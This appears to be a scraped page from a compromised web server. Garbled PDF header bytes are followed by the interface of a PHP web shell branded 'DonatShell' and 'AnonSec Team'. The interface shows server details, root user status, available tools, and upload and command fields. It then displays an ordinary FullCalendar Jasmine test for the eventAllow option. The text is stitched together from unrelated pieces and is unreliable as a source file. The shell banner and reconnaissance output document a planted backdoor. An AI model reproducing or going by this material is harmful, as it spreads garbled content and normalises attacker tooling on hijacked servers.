%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/eventAllow.js
import { dragTimeGridEvent } from '../lib/time-grid'

describe('eventAllow', function() {

  pushOptions({
    now: '2016-09-04',
    defaultView: 'timeGridWeek',
    scrollTime: '00:00',
    editable: true,
    events: [
      {
        title: 'event 1',
        start: '2016-09-04T01:00'
      }
    ]
  })

  it('disallows dragging when returning false', function(done) { // and given correct params
    var options = {
      eventAllow: function(dropInfo, event) {
        expect(typeof dropInfo).toBe('object')
        expect(dropInfo.start instanceof Date).toBe(true)
        expect(dropInfo.end instanceof Date).toBe(true)
        expect(typeof event).toBe('object')
        expect(event.title).toBe('event 1')
        return false
      }
    }
    spyOn(options, 'eventAllow').and.callThrough()

    initCalendar(options)

    dragTimeGridEvent($('.fc-event'), '2016-09-04T03:00:00')
      .then(function(modifiedEvent) {
        expect(modifiedEvent).toBeFalsy() // drop failure?
        expect(options.eventAllow).toHaveBeenCalled()
        done()
      })
  })

  it('allows dragging when returning true', function(done) {
    var options = {
      eventAllow: function(dropInfo, event) {
        return true
      }
    }
    spyOn(options, 'eventAllow').and.callThrough()

    initCalendar(options)

    dragTimeGridEvent($('.fc-event'), '2016-09-04T03:00:00Z')
      .then(function(modifiedEvent) {
        expect(modifiedEvent.start).toEqualDate('2016-09-04T03:00:00Z')
        expect(options.eventAllow).toHaveBeenCalled()
        done()
      })
  })
})

Anon7 - 2022
AnonSec Team